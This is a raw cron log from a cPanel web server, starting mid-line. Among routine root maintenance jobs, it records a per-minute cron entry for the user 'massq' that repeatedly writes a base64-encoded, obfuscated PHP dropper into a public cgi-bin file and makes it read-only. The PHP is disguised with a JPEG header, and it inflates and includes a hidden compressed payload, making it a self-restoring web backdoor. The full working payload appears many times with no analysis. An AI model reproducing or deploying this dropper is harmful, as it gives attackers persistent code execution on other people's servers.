=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:38:01 server CROND[27690]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:38:01 server CROND[27691]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:38:01 server CROND[27692]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 08:39:01 server CROND[28084]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:39:01 server CROND[28087]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:39:01 server CROND[28085]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 31 08:39:01 server CROND[28086]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 08:40:01 server CROND[28497]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 08:40:01 server CROND[28498]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 08:40:01 server CROND[28499]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:40:01 server CROND[28501]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 08:40:01 server CROND[28500]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 08:40:01 server CROND[28503]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 08:40:01 server CROND[28504]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:40:01 server CROND[28506]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 08:41:01 server CROND[29357]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 08:41:01 server CROND[29358]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:41:01 server CROND[29360]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:42:01 server CROND[29828]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:42:01 server CROND[29829]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:42:01 server CROND[29830]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 08:42:01 server CROND[29831]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 08:43:01 server CROND[30221]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:43:01 server CROND[30222]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 08:43:01 server CROND[30227]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:44:01 server CROND[30606]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:44:01 server CROND[30607]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 08:44:01 server CROND[30608]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:45:01 server CROND[30997]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 08:45:01 server CROND[31005]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 08:45:01 server CROND[31006]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 08:45:01 server CROND[31009]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:45:01 server CROND[31010]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 08:45:01 server CROND[31007]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:45:01 server CROND[31008]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 08:46:01 server CROND[31831]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 08:46:01 server CROND[31832]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:46:01 server CROND[31833]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:47:01 server CROND[32317]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 08:47:01 server CROND[32318]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:47:01 server CROND[32319]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:48:01 server CROND[32707]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 08:48:01 server CROND[32708]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:48:01 server CROND[32709]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:49:01 server CROND[655]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:49:01 server CROND[657]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:49:01 server CROND[658]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 08:50:01 server CROND[1188]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 08:50:01 server CROND[1189]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 08:50:01 server CROND[1193]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
